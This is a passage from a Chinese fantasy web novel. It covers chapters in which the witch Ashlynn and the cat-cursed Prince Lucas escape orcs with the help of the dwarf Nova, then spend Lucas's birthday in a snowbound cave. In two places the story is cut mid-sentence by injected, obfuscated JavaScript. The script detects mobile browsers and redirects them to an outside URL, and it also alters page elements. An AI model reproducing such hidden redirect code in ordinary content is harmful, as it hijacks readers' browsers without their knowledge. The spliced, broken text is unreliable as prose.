想想别的咒语,她快速思索着。幻术?没用,她已经暴露了。轰炸咒?上次用这个的时候她只是把艾丹变成了爆炸头。如果她试着把他们也诅咒了呢?恐怕不是个好选择,豹子和狼纯粹的动物形态比兽人更可怕。 阿什琳额头冒汗,密密麻麻的慌乱抓紧她的心脏,像蜘蛛网一样裹住她的呼吸。 魔法是她的一切。如果没有魔法,她还能干什么?她和村里孩子眼中的那个无能女孩没有任何区别,和她在龙晶洞窟看到的购买药品的一模一样的人群也没有任何区别。 冷静下来,换个思路。 植物有时不会出现在表面,还记得劳瑞尔给卢卡斯画的速写是莎草纸的吗? 她重新环顾房间,呼吸平静之后她的魔法也重获了些感应力。这里的确有植物。 最终,她的目光落在卢卡斯的绳子上。 麻绳。亚麻。 虽然只是纤维,无法像真正的植物那样应她的魔法生长,但微微动一下也足够。 哦,说真的。她拍了拍脑门,之前干嘛要费劲儿用手去解它们呢? 她冲卢卡斯眨了眨眼,麻绳瞬间自己解开了。 卢卡斯跳了起来,立刻从石桌上顺了个扳手当武器。 麻绳则转向兽人们,像蛇一样爬上狼人和鹿人的腿。他们奋力挣扎,越是挣扎,阿什琳便让它们勒得越紧。这么做的同时,她也感到自己的魔力往外流失,越来越疲惫。 余光里,卢卡斯则试图用扳手攻击瑞伊——换个场合,这实际上是个略显搞笑的场面。他一只手的手肘撞向瑞伊肋部,逼得她后撤几步;另一只手则以扳手击过瑞伊的匕首,划伤她的脸。 瑞伊惊讶地抹了把脸上的血,以迅雷不及掩耳之势扣住卢卡斯握扳手的手腕,用力一扭。他吃痛地叫了一声,整只手臂翻转过来。 扳手当啷落地,滑向瑞伊,被她踩在脚下。 瑞伊挑起眉捡起它,在手里转了个圈儿。 “这就是你的武器,殿下?” 阿什琳心神不宁,麻绳上生顿时出一些没用的分支,分散了她的力量。 她转头想去帮卢卡斯,可这时狼人硬生生用肌肉撑断了绳子,挣脱出来,一把抓住她的双臂,她的精灵匕首掉在地上。 麻绳不是鲜活的植物,本就难以控制,再加上她几乎一天没吃没喝,不在状态,魔法比平常微弱很多。 绳子被他扔到门外,远远脱离了阿什琳的控制范围。 瑞伊按住卢卡斯,拿起石桌上的一本转头般的厚书,狠狠在他脑袋上来了一下。 显然,卢卡斯和她一样状态不佳,根本来不及反应。他晕倒在地,血从头发里流出来一点。 先是被队友坑,接着又被捆绑,现在还被打晕。今天算得上是他的倒霉日了。 还好,他看起来还算活着。 阿什琳担心地想,随后意识到她真正该关心的应该是她自己——此时鹿人哈里也挣脱了麻绳,压住阿什琳的肩膀。 “这是场骗局。”瑞伊的棕色马丁靴踢了不省人事的卢卡斯一脚,轻蔑道,“你不是什么诅咒了王子的女巫,他也根本不是傀儡。你们俩是一伙儿的。难道人类王子有什么侦察兽人的卧底任务?这就是为什么他长得像只猫?” “没有,我们是——” “小心你的下一句话,小女巫。”瑞伊抬起手,狼人便把刚刚阿什琳掉地的精灵匕首递给瑞伊。 她举起匕首,一手抓住那染血的黑发拎起卢卡斯的脑袋,另一手则将锋刃按在他的颧骨上。 “每说错一个词,你亲爱的小王子这张漂亮的脸蛋上,就会多一道红花纹。”她狠狠地说,“毕竟,他刚才就是这样对我的。” “别!毁坏艺术品可是犯法的。”阿什琳惊恐道,却没想好任何其他谎话。 她还能怎么办呢,倒出真相也无济于事。刚才王子还是瑞伊任人摆布的商品,阿什琳甚至能假装要伤害卢卡斯来威胁她;但现在,瑞伊知道卢卡斯并非被魔法控制的傀儡,不一定会再手下留情。 就在这时,一串小孩子一般的脚步声从门外传来。 43.漫长雪夜 三个兽人警惕地望过去,只见一个矮人愣在门口,皱起眉头,目光锐利地向瑞伊看去。 她有着红褐色的卷发和圆圆的鼻头,个头矮小但四肢粗壮,一身机械工作服。 是拍卖会上那个买下神戒的女矮人。 瑞伊的动作停滞了,阿什琳意识到,这两个种族不同的女人大概互相认识——不怎么友好的那种认识。 矮人二话不说,从腰包中掏出一个金属球,火速扔向兽人们。 轰! 金属球瞬间炸开,迷雾缭绕。 一枚矮人烟雾弹。 矮人科技与魔法的结合令他们能制作出其他种族都无法复刻的物品,尤其是武器。人们常言,所幸矮人并非好战之族,而是深居底下自个儿探索,否则大陆很可能就被他们征服主导。 阿什琳完全不知道这位矮人为何要帮助他们,但她没什么可抱怨的。 呛人的雾气在房间中散开,擒住他们的兽人松开劲儿,弯下腰咳嗽起来。也许是因为想要炫耀自己的肌肉,他们光着上半身,没有衣物可以遮挡。 阿什琳拿斗篷捂住口鼻,拖起卢卡斯。 不得不说这家伙看起来很瘦,实际上很难拖起来。 “诺瓦!你这个——”瑞伊低吼着又连连咳嗽。 她一个箭步冲上来,却因雾气而没能看清殴打对象,一拳勾在狼人布莱斯的脸上。 可怜的狼人发出了今夜第二声长嚎。 “跟我来,你们!”矮人说着钻出去。 幸好,就在这时,卢卡斯又变成了一只小黑猫。阿什琳忙将他抱起,但迷雾缭绕,已经看不清矮人的方向。她非常迅速地松开斗篷,念了一句咒语,让跟前的一点点雾气散开,那个矮小的身影总算出现。 她挥了挥雾气,跟着矮人离开地下室。 他们气喘吁吁地奔跑,一路冲进松树林。夜晚的松树林很安静,微风清冷,总算没了先前在诺西村的吵闹。 “谢谢你,女士!真是太感谢了!你救了我们的命!”确认没人跟上来后,阿什琳感激地握住矮人的双手,“不过你是谁?你为什么要帮我们?” 矮人的手很凉,脸上也没什么表情。她背着一身稀奇古怪的小东西跑,路上叮铃作响,此刻终于消停了。 “诺瓦。”她简短地说,“我不喜欢兽人,尤其是那只叫瑞伊的豹子。她的敌人就是我的朋友。” “你认识她?” “她偷过我的东西。” “彼此彼此。” 她上下打量着阿什琳,注意到她斗篷上的太阳标识。 “狄亚斯的人类。来北方,干什么?危险又寒冷,尤其是靠近寒爪林的地方。” 她的通用语说得不算太熟练,口音和断句都硬邦邦的,像一具卡顿的机器。 “说来话长,但我们是去寒爪林拿到一样东西的。”阿什琳说,诺瓦看起来很可靠,于是她决定多说几句,“兽人试炼的花环。你知道吗?” 诺瓦点点头。 “可以修复与改善形态的花环。是,我知道。” 这倒是出乎阿什琳意料。“修复与改善?” 诺瓦奇怪地看着她。 “是。花环有土元素能量,强大。和大地与泥土一样。孕育、修复、改良与保护。你不知道?” 完美符合谜语中的物品。土元素,花,圆圈与北方。 诺卡利魔笛既是风元素魔法的物品,也是死神的礼物。而根据四神的传说,她有理由推断,其他三样物品或许也是剩下三位神祇的礼物。 萨诺瓦提到泪水与月神关联,那么龙火是太阳神馈赠;剩下的,花环,便是森林女神送给兽人的礼物,毕竟兽人住在北方的森林,崇拜森林女神。 “我现在知道了。” 不过,她还有别的疑问。 那枚神戒——她总觉得有什么异样,虽然没听说过,但也许在某本古旧的书籍里见过。阿什琳的记忆力在关键时刻只会变得模糊,平常她看书总是一目十行,看图画也囫囵吞枣。 诺瓦看起来不像是能轻易被拍卖话术骗到的矮人。 “你来这里就是为了那枚戒指吗?” “是。”诺瓦没再多说,手警惕地往后缩了缩,“怎么?” “我想知道……只是好奇,那枚戒指,它真的有神力?”阿什琳问,看着诺瓦防备的眼神便又补充,“我是狂热的神话谜,特别喜欢四神传说。就是问问。” “不确定。”诺瓦说,“接下来我要去试验。雪怪,你知道吗?” “那是一个北方的传说,是的,我知道。” “要找到雪怪。戒指会证明它的力量。” “可是雪怪不是真的。”阿什琳困惑地说,“那只是北方兽人骗小孩的传说。” 诺瓦点了下头。“的确。这就是为什么,要用戒指。” 阿什琳还在等她的进一步解释,但这句话似乎没有下文,于是她又问:“请问我可以看一眼吗?我真的很好奇。” 诺瓦犹豫片刻,但阿什琳非常诚恳地望着她。于是她掏出那枚戒指。 它看起来不比在拍卖会上神秘,依然很朴素,边缘甚至有点生锈。 阿什琳抬起手,看了看诺瓦。矮人点头后,她才轻触了下戒指的边,十分冰凉。 刹那间,一个模糊的画面闪现眼前。 森林里,一个金发绿瞳的女人随意地坐在草地上。她穿着白裙子——至少曾经是白裙子,现在上面全是泥泞,两腿大大咧咧地叉着,正和几株红盖小蘑菇说话。 蘑菇们迫不及待地向她聚拢,好像她在说特别精彩的故事。 阿什琳觉得时间凝固。 这个女人……非常眼熟。 “她迟早会来的!维娜说她就要来看我们了,只要她祈祷就好。”那女人快活地说,“她还没意识到自己的能耐呢,到时候我们就可以告诉她——” 画面晃动,阿什琳缩手往后一跳,好像碰到的不是戒指,而是火焰。 她揉揉眼睛,女人早已消失不见。 “怎么?” “你看见了吗?”阿什琳震惊地问,“那个——林子里的女人?” 诺瓦一顿一顿地往前后左右看了看。“没有啊。” 这是一条单独给她的信息,阿什琳意识到。女人在森林里,或许和森林女神有关。那个女人口中的“维娜”指的是森林女神西尔维娜吗? 拍卖师说戒指是神丢失的物品,难道它是森林女神的?这可以解释阿什琳对它产生古怪的感应,然而,那并非她对森林与植物的那种直接、迅速、野蛮的感应,而是更……微妙,好像被深深埋在地下。 “没什么。”阿什琳甩了甩脑袋,“谢谢你,诺瓦。祝你找雪怪顺利。” 诺瓦礼貌地冲她点了点头,转身消失在松树林间,背包上的金属小物件声音渐渐变小。 —————— 阿什琳和卢卡斯虽然拿回了装着龙火和魔笛的空间背包,但食物和钱基本都被瑞伊偷得一干二净。阿什琳用她的干花耳坠和卢卡斯的腰带从路边商贩那儿换了些干面包、奶酪、水和林铜,继续向北骑马。 果然,第一天开局不顺,接下来也不会多顺。 食物渐渐地越来越少,水也不再充裕,小马们也一天比一天疲惫,钱袋中铜币的数量终于归零。 随着他们不断向北而行,气候也在急剧变冷。在伊洛文亚时,尚能享受到初秋的凉风;等到了诺西村一带,已是落叶遍地。现在,离北方的兽人森林越来越近,刺骨的寒风令阿什琳蜷缩在斗篷里,和黑猫一起取暖。 卢卡斯一开始还会抱怨,后来只是安静地卷成一个毛绒绒的黑团,可能是冷得不想再反击她。夜晚,要是没找到客栈,就不得不生篝火才能度过。 干面包和奶酪在三周之后总算彻底吃干抹净,只剩下一颗苹果和零星几枚小鱼干了。 阿什琳再吃不到一顿像样的饭,就要变成干尸了。她如饥似渴地啃着红苹果,才觉恢复了点生命力。 黑猫的心情肉眼可见地每日愈下。 “真想不到我竟然有饿死的一天。”他抱怨,“我觉得更光荣的死法是在战斗中死去,而不是因为没吃的,或者吃了有毒的野蘑菇。” 阿什琳则乐观一些。 “饿死的时候你至少是健全又完整的呢。在战场上死去,指不定少条胳膊断条腿的。”她安慰道——如果这也算安慰的话。 “兴许这是件好事,如果我在旅途中死了,御前会议对立谁为王储就再无异议。”卢卡斯闷闷不乐,“你知道最优雅的死亡是什么样的吗?” 阿什琳翻了个白眼。“很抱歉,我对不同形式的死亡没你那么感兴趣,活着的吸引力还是更大些。” “咳血而死。” 阿什琳一个机灵,吃了几片雪花。 “天哪,卢卡斯,我都把你治好了,现在你竟然觉得得肺病而死更优雅。我知道我精神一向不算太正常,但其实你才是个疯子吧?” “我们已经出来两个月了,疯了也有情可原。”猫说,“喵!这儿附近没有渡鸦,无法传信。我怀疑父王已经派出搜罗队来找我了。” 这最好不是真的,不然阿什琳也会倒大霉。如果他们被狄亚斯的搜罗队抓住,卢卡斯肯定得费尽口舌才能说服他们,阿什琳只是想帮忙,并不 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“我们需要找个避难所缓一缓。”他提议。 阿什琳想要举双手赞成,可惜她现在举不了,太冷了。 终于,在两棵松树下,他们找到一个铺着灰白色毛毯的洞穴,可能是兽人曾经的扎营。 里面暖和极了,洞顶也盖着绒毛被和一些雪花,看着很温馨,仿佛有几个孩子曾在这里玩儿过家家。地上的绒毛比卢卡斯的猫毛手感还要好。 他们立刻将被子毯子铺好,在洞里生火。 阿什琳还额外用了个增温咒,但效果不大,并非她强项。那股暖流涌上来,又飞速消失了,好像生怕他们太暖和了似的。 “今天就睡在这里吧,不然我就要变成白猫了。”黑猫说。 阿什琳把手放在火焰上方烘烤。“我同意!你还是更适合黑色。” “我不明白的是,这里面为什么像自带暖气一样?”他扒拉着地上的毛,嗅了嗅,“闻着不像羊毛啊。这是什么动物的毛?” “不知道,但我知足了。反正能防止我们变成僵尸就行。” 山洞外面,寒风呼啸,仿佛怪兽的嘶吼。阿什琳从未经历过这样的严冬,狐尾河湾再冷也不会下如此风雪。他们刚好在冬天时赶到北境,可真是不巧。 “我恨冬天。”卢卡斯缩成一堆黑团,在火边小声说。 “冬天也并非一无是处啊。”阿什琳说,“十二月底有日月节呢!萨诺瓦和我每年都去米娅家过日月节,因为她们家人多。一年里也就日月节那天,我们能吃到上好的烤鸡和烤番茄。” 恍惚间,她似乎回到了飘满白雪的狐尾河湾。那里没有北境之地这么冷,雪只是节日氛围的装饰。她和朋友们在雪地里,围绕着篝火,一边唱日月颂歌,一边跳完全没有章法的舞。 木工之子杰里与农场主女儿克劳迪娅抱在一起,她则拉着米娅的手,穿着绒毛斗篷,在雪中转圈、打滚,堆雪矮人,躺在雪里挥舞双臂,假装身后是蝴蝶翅膀。 萨诺瓦坐在一旁,用放大镜观察雪花的花瓣,偶尔在孩子们的欢笑声中突然冒出一句:“啧,3毫米的直径啊!” 最后,她们的手会被盛满烤牛奶的陶瓷杯子捂暖,耳朵充盈着吟游诗人的琴声,直至太阳终升,新年又到,他们又大了一岁,离太阳神和月神更近一步。 本来是快乐的回忆,悲伤却毫无征兆地涌上来。 阿什琳盯着跳动的篝火,山洞外的雪声倏然消逝,被来自过去的米娅的笑声替代了。小猎犬兴奋地舔她一脸口水,把她扑倒在地;堂区学校的霍顿教士讲起干巴巴的神话与教义,成为她走神用的白噪音;她和米娅在白蜡树林里探险,采蘑菇,和松鼠聊天,寻找仙子和独角兽。 比起两个月之前,更像两个世纪之前。她本以为这场旅途会很快,很顺利。更准确地说,在启程之前她完全没想过时间的问题。 阿什琳第一次明白思乡是什么意思。 她说她想要当冒险家,当旅行者,可真当她漂泊在外两个月,依然会怀念狐尾河湾的一切。 她的心沉到胃里——兴许这是好事,毕竟她的胃太过空荡。 难道梦想是错的?她不可能既拥有家园,又踏上旅途。 “日月节也没什么。”卢卡斯打断她的思绪,“就是一群贵族假装喜欢另一群贵族,然后为不一定存在的神大吃大喝。” 这话可是相当大胆和不敬。 “你为什么这么讨厌冬天呢,卢卡斯?” 黑猫又往里缩了缩。 “因为节日和……生日,都在冬天。” 44.生日快乐 “生日?”阿什琳惊讶道,露出笑容,“哎呀,你怎么没告诉我你快过生日了?你要多大了,十七,对吧?” 黑猫不情愿地点了点头。 “什么时候?” “不告诉你。” 阿什琳耷拉下眼睛,难过地望着他,做出委屈的表情。 “我以为我们是好朋友呢。” “我们是啊。”卢卡斯叹了口气,被她的绿色狗狗眼折服了,“喵。好吧,明天就是我的十七岁生日。以后,就不会有精灵用速写威胁我了。” “明天?!”要不是被毯子裹着,阿什琳就要起飞了,“你怎么不早说?这下我怎么给你准备生日惊喜呢?” 黑猫看着她,就仿佛她长了三个头。 “生日惊喜?你在开玩笑吧。咱们在雪山的山洞里,身无分文,吃的也快没了,你能为我准备什么惊喜?你甚至不知道我喜欢吃什么。” “哦,那你喜欢吃什么?”阿什琳抓住机会问,“让我猜猜,鳗鱼冻?” “我现在是喜欢鳗鱼类的。”卢卡斯想了想,“但我怀疑这和猫有关。以前,在皇宫,我比较喜欢杏仁布丁。” 阿什琳耸耸肩,她的生活里很少能随意选择吃什么,萨诺瓦糟糕的厨艺消灭了她不少胃口,要不是米娅·科林斯她们家的“施舍”,她定会营养不良。 现在他们刚恢复了些体温,原本被寒冷盖过的饥饿开始叫嚣。她的胃疯狂地抱怨着空洞,三番五次试图和她吵架,简直比外面的大风还要吵闹。 卢卡斯对他们的旅途路线与粮食数量把控精确,若不是瑞伊,他们的粮食其实很充足。可遇窃后,背包里仅剩的那点鱼干没人敢吃——从地图来看,他们还得再骑行两天才能抵达兽人部落,节省是他们不在中途饿死的唯一方式。 “要是你现在在皇宫,肯定会迎来盛大的庆生宴。”她忽视胃的叫骂,向往道,“巨大的多层蛋糕、丝绸做的衣裳……” “还有休无止境的假笑与奉承。”卢卡斯补充,“不,谢了喵,我宁愿和你一起在山洞过生日,也不想回王宫。” “你讨厌皇宫。” 卢卡斯垂下头。 “没错,所以呢?不影响任何事。最终我还是要回去辅佐姐姐,和其他领主联姻——这还算好的。要是那些老不死的——对不起——决定让我获得继承权,那才是真的糟糕,毕竟明眼人都看得出来伊莱恩更适合当女王。” “我不明白,”阿什琳道,“如果伊莱恩很适合,并且也愿意成为王储,为什么还要有这么大争议?” 黑猫嗤笑一声。 “一部分是因为朝廷旧派,另一部分,当然是因为父王。已经过去这么多年了,他的思想仍然没摆脱旧时代的阴影,依旧认为女人不适合坐上王座。”他解释,“我父王年轻时即是征服者,是靠暴力从龙族爪下夺下狄亚斯的。他认为王者必须具备和他一样的英勇与热血——我觉得那更像是残暴——而女性不会有这样的气质。你知道吗?他甚至坚信太阳神一定是个男人。真搞笑,神才不关心祂的性别。” 阿什琳没想过这个问题。她从来没有觉得有什么气质是某个性别有而每个性别没有的,在河湾村大家都一样穷。当然,另一个原因也是她生于新时代,大家都接受一样的教育。这种想法太过时了。 “他怎么想的不重要,”阿什琳说,“重要的是你怎么想。” “你说反了。我的想法对任何人来说都无关紧要,尤其是这个国家。”卢卡斯说,“你不知道那些大臣是怎么说的,他们觉得我会走上我叔叔的老路。” 说完这话,他好像意识到什么,突然显得有点惊慌。 “你叔叔?”阿什琳问,“你是说兰里特公爵?” “对。”黑猫立刻道,“他生前是个白日梦想家,颓废又毫无作用,整日将自己泡在酒馆里,龙族战役他都没有亲自上过战场。” 阿什琳眯起眼睛。他回应得太迅速,像背下来的官方答案。 她不喜欢怀疑别人,尤其是自己的朋友,可她对德维尔一家的了解并不多,这也意味着,其实她几乎不了解卢卡斯。 这不是卢卡斯第一次反应异常。先前她只是简单地觉得这家伙被诅咒后受惊了,或者他就是天生有点儿怪。 但如果他其实还有别的秘密呢? 当她对艾丹感到怀疑时,她放下戒心,没有细想;而看看后果是什么吧。 兰里特公爵是二十多年前病逝的,死时也年仅二十岁,那会儿她还没有出生。人们不常提他,因为一个一无所成又英年早逝的公爵着实没意思。 强烈的好奇心将她捕获了。但假若卢卡斯愿意,他会主动告诉她。因此尽管心存不满,她也没再问下去。 “你不是你叔叔,卢卡斯,你就是你自己。为什么要管那些大臣怎么说?还有别的选择。去抗争,反对你父王的话!做你真正想做的——” 黑猫猛然站起来。 “你以为我没有抗争过吗?你以为我没有尝试过——尝试过——”这是个未完成的句子,可他没再往下说。他尝试过什么? “卢卡斯,听我说,萨诺瓦一直在告诉我,真正的魔法源于内心。如果你连自己的心声都不听,那么魔法便形同虚设。换到你身上也是同理:倘若王子都不遵从内心的声音,他的子民又怎知要坚守内心,怎知要忠诚于谁?” “那么听从内心之后,我又能做什么呢?”黑猫问,“你在自由的河湾长大,阿什琳……你不知道贵族的生活是什么样的。没有你想得那么简单。” 阿什琳撇起嘴。 “的确。但我希望有一天,你能听听我的话。” “因为?” “因为森林永远是真实的。” 黑猫深深地望着她,没再说话。 他们就这样静静坐着,被篝火的暖意包围了。阿什琳很轻地抚摸着黑猫的脑袋与后背,一阵微弱的呼噜声振动起来。 他睡着了。 大雪渐小,像鹅毛一样轻飘飘。 阿什琳眯了会儿眼,直到身边的小猫发生一点动静—— 他又变回了半人半猫。当然,只有一小时。 这也意味着,现在是午夜十二点。 “祝你生日快乐,卢卡斯王子!”阿什琳大笑着,给卢卡斯递上一顶松树枝做的王冠,“真可惜附近没有真正的绿色植物。我想你更适合的是蓝色花环!你觉得兽人花环可以定制颜色吗?勿忘我怎么样?” 王冠捆住了他的两只猫耳,猫耳颤动。 “谢谢你,阿什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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外面冷风长啸,洞口似乎摇摇晃晃,仿佛他们真的在海盗船上一般。阿什琳大笑着堵住耳朵,卢卡斯的尾巴绕上她的胳膊,微微发痒。 “你知道我是怎么想的吗?”卢卡斯说,“接下来,应该由我,来写一本书;你,来卖草药帮助他人,我们靠这个挣钱,然后接着冒险。” “你?写书?” “当然!我在皇宫学的文法与外语不能白学,是不是?”卢卡斯轻快地说,“我们可以骑龙,学习魔法,和矮人一起发明机械,给精灵做新雕塑,和兽人比武……” “你是说,被兽人打趴。” “那就写我们赢了。作家特权。” 说这话时,他神采飞扬,猫耳抖动,蓝眼睛在火光下亮闪闪的,比以往任何时候都要鲜活迷人,毛毯都飞到一边儿去。 她笑起来,感觉蜂蜜在一点点从嗓子到心到灵魂流淌。 他们完全沉浸在幻想里,裹在毛毯中,笑嘻嘻地躺下来,望向白色的洞顶。冒险、魔法、旅行、地图…… 其他什么都不再重要,只有旅途是重要的,只有故事是重要的,只有想象是重要的。 因为现实太冷、太冷了。 45.许多情感 雪终于停下来,但风没有和它达成一致。他们身下传来巨兽一样的呼吸声,可能是山下狂风刮过松树的声音。 篝火噼啪作响,她侧过头,看着卢卡斯被火光柔化的侧脸,猫耳的尖端在阴影中轻轻抖动。 和在宫廷比,他看着更消瘦、更脆弱,甚至有点沧桑。眼窝有点凹陷,黑发失去了在王宫时被养护打理的光泽,也长了些,到脖子的位置,前发依然和先前一样有点挡眼。 阿什琳第一次这么仔细地观察他:他的鼻子很尖,但鼻梁还留有一丝之前与三头犬搏斗留下的伤痕,眉毛的形状像修过一样,右眼下方有两颗痣。 他依然轻盈地笑着,遇到她的目光后又疑惑地扬起眉,头发里掺着融化的雪。笑容令他身上那属于风雪与路途的痕迹隐去了,露出某种更明朗的气质。 明明是冬天,几朵蓝色风信子却在某处绽开。花瓣飘过她的心,除却轻痒外什么也没留下。 阿什琳不再笑了。 好心情像被发现的老鼠一样溜走。一块沉甸甸的石块压在胃里,渐渐涌上来,又堵住喉咙。 “嘿,你怎么了?”卢卡斯关切歪了歪脑袋。 这时候,他的声音在她听来又显得有点烦。 “有点累。”她摇摇头,钻回毯子里。 情绪就是一种来去匆匆的东西。阿什琳突然感受不到一点儿快乐,蜂蜜干涸,蓝花凋零,暖意燃烬,刚才那些笑声就像梦一样不真实。 一时间,她希望卢卡斯并非真实,一切会简单得多。或许她依然在狐尾河湾,和萨诺瓦做草药,和米娅在林中奔跑。 她闭上眼,不再看他,但他依然浮现在眼前。 这位王子,这只黑猫,这个黑猫男孩。他漂亮得可怕的湛蓝色双眸,生动的面孔,月光下凌乱的黑发。 还有那更狼狈一点的男孩,原本华贵的蓝斗篷被大雨和旅途冲刷得和她一样糟蹋,眼睛下挂着黑眼圈,但依然能从容地扯出微笑,好像暴风雨只是场玩笑。 还有他的声音,是有磁性的声音,是让人一定要听他说完的声音。他对她的称呼:“女巫小姐。”“贝利小姐。”“阿什琳。”“阿什。” 黑猫的呼噜声,手感软乎乎的黑毛,胡须划过脸颊时痒痒的感觉。 她在毯子里傻笑了一下,甜蜜的感觉似乎又要回来。她从未有过这样的感受,这种新奇就像刚刚发现了最珍贵的宝藏,值得开一场宴会狂欢来庆祝。 这和书里写得一样吗?和堂区学校那些女孩子的八卦中聊的一样吗?她终于在经历所有那些女主角经历过的浪漫故事了么?突然,她迫不及待地想给米娅写一封信。 几秒钟后,笑容再次消失。 龙晶石窟里,那个模糊不清的新娘出现在她眼前。她来到金顶白墙的城堡,望着身着金边孔雀蓝披风的卢卡斯;一本古旧的童话书缓缓翻开,露出那个最俗套的、王子和公主打败恶龙和女巫,幸福地生活在一起的故事。 忽然间她被大雪淹没得喘不过气,但她分明在干净的山洞里,享受毛毯与篝火。 她需要放声大笑,或者嚎啕大哭,又或者深深呕吐,冲到雪夜之中,与苍茫大雪同归于尽。 要是冰凉的雪花覆盖在她全身就好了,这样再也无人知晓她刚发现的一件事。 “阿什琳,”卢卡斯的手指碰上她的头发,又像被烫到一样缩回去,“你真的还好吗?我做错什么了?” “你什么也没做错。”阿什琳将头埋在毯子里,声音闷闷的,“我……我只是……” 卢卡斯耐心等待着。 “我想家了。”隐瞒部分真相不算撒谎。 “噢。”他安静了一会儿,“我也是。一半一半吧。我想家,但不想宫廷。可话说回来,我的家就是宫廷。” “我想念萨诺瓦,”阿什琳确认那一丁点眼泪已经干透,便将头抬起来,“还有米娅,还有杰里和克劳迪娅,河湾边的树林。我落下了好多堂区学校的课程和作业,虽然它们毫无用途。霍顿教士会杀了我。那篇关于太阳神的文章我现在一个字也不记得了,走之前背了好多回呢。” “我们会顺利回到狄亚斯的。”卢卡斯说,“以后,你会见到所有那些朋友,也有数不清的机会去补成堆成山的作业。如果你想,甚至现在就可以开始复习那篇文章。” 阿什琳觉得自己又被他气笑了。 “在雪山的山洞里复习课文。” “是啊。我想你说的是《金焰颂》,是不是?我背得滚瓜烂熟。第一句话是:赫利安娜并非生而为神,她和弟弟塞勒斯提本是普通的——” “谢谢你,殿下。真是太有趣了,我感觉好多了。” 阿什琳往后缩了缩,离卢卡斯远了一点儿。他注意到了她的举措,又把头发往后顺了顺。 “如果你有什么问题……随时可以跟我说。”他温柔地说,“毕竟,我们是朋友。” “是啊,这就是问题。”阿什琳脱口而出,等她意识到她说出来时已经晚了。 卢卡斯震惊地睁大眼睛,脸往后一缩,像被打了一拳。 阿什琳急忙又凑前。“哦,不,卢卡斯。我不是这个意思。” “不,没关系——对不起,请原谅我。”他挥挥手,飞快地说,“我明白了。” 阿什琳心中咯噔一下。山洞外狂风怒吼,但她只能听到自己的心跳声。 实际上,全世界,只有她的心脏在发出声音。 “你明白了?”她自己都还没明白呢,他怎么就明白了? 卢卡斯点点头。“我刚刚说得太多了……兰里特的事,你没有必要知道那些。整整一路,我一直在说自己的事,但我们又不是——总之,如果你觉得我没有资格成为朋友,我完全可以理解。” 阿什琳呆呆地看着他。显然,他其实什么也没明白。 他——他竟然—— 她憋下刚刚的惊恐、欣喜、悲伤、羞愧、焦虑与勇气,它们缠绕进她的胃里,最终搅和成了怒气。 她突然大叫起来:“你真是个白痴!” 白痴这个词最近经常出现在他们的对话里,于是她又换了个说法:“不。傻瓜。” 依然没有杀伤力。 卢卡斯看上去困惑极了。“我——什么?这我早就发现了啊。” 阿什琳忍无可忍。 “我们当然是朋友了,废话!一起经历了那么多,你怎么会到现在还觉得我们不是朋友?”她大声说,“一个月前我就说我们可以是最好的朋友——之一!” 卢卡斯怔怔地看着她,然后难以置信地笑了,尾巴舒展。 “你真是这么看我的?我是你……”接下来的词似乎对他而言难以出口,“最好的,朋友?” “如果你也这么想就是。”阿什琳说,总算又冷静了些。 是的。她得开口,必须开口。 虽然她还不确定任何事,但总得说出来,和她的好朋友讨论讨论。不然,她还算什么神裔女巫,什么森林之子?森林是真实的,是原始的,不是别扭与纠结的;她当然也是了。再说,冒险途中很危险,如果他们待会就冻死了怎么办?那她就再也没有机会坦白了。 她能感觉到他们之间有什么不一样。就算卢卡斯没有感觉到,也无法妨碍她说出感受。说到底,她怎么想,跟卢卡斯有什么关系? 没错。她突然感到气愤:这个四只耳朵的家伙完全不值得她花这么多时间胡思乱想!她的思绪是属于她自己的,和任何人(猫)都没关系,得把这个人(猫)踹到思想外面才行,不如干脆聊聊这件事。 阿什琳深吸一口气,给自己竖了个大拇指,准备挑起话题。 可惜,还没有开口,卢卡斯却先说:“阿什琳,我一直在想……这一切多么荒唐。我们本不该认识的。你能想象吗?其实当时我已经做好面对死亡的准备了——雪地里的这些天让我好好反思了自己。” 阿什琳先是对被打断有些恼怒,随后愣了一会儿,才反应过来他口中的“当时”指的是什么。 御医曾说他只有一天了,格拉西亚王后提到就连东方的医师也无能为力,人们甚至开始为他准备守夜的蜡烛。 她不得不把酝酿半天的语言咽下去。好吧,这事儿可以改天再聊,也许确实为时过早,她自己都尚未确定呢。 很有可能,她搞错了——这倒是她擅长的。心跳加速可能只是因为他们离得有点儿近,或者外面太冷,或者其他什么错觉。 “你说……肺病。” “其实这是件好事,除了把肺咳得快撕碎以外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16526076|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他笑了笑,“宫里一直对我和伊莱恩的继承权有所争议。我想……如果我病逝,这件事就顺利解决了。” 他没有看她。 阿什琳一时不知说何是好。在生死面前,她那一点可笑的感情又算什么? “哦,卢卡斯。” “这就是为什么我把所有药都扔了,他们以为没人能治好我。”良久,他又飞速地说。 阿什琳停止呼吸。“什么?!” “你知道我是个白痴。”他急忙道,“这是具体表现之一。御医的草药不一定是没有用的。要是我没扔那些药,你也不用费那么多精力来到皇城治疗我,现在又陪我在这里挨冻……而我不旦不知感激,还冲你发火。有时我甚至有点怨恨你——不是因为猫。” 她困惑地望着他。 “怨恨我,因为我……让你活下来了?” 卢卡斯缓缓点了点头。 “那你真是蠢到家了。” 他咧咧嘴。“是啊,我一直在强调这一点。” 阿什琳想要摸摸他的头、他的猫耳朵,揉乱他的黑发,但还是忍住了。他们还不能离那么近。或许之前偶尔一下可以,但现在再这样就有点儿奇怪。 一些模糊的片段从她眼前飞过,可她没能抓住。 把治疗肺病的药扔了? 